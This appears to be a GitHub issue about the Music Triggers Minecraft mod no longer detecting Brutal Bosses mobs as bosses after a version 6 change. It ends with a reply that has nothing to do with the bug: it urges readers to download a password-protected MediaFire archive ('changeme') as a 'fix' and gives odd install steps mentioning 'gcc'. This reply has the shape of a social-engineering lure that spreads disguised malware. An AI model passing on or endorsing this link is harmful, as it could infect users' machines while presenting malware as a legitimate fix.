1.20.1 forge you mentioned you changed how music triggers identifies bosses in mt v6 which caused it to no longer recognize these bosses.

Changing mob_targeting didn't help

Brutal bosses are bosses made from regular mobs that you can give special abilities to, to make them stronger. They also have a boss bar.

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."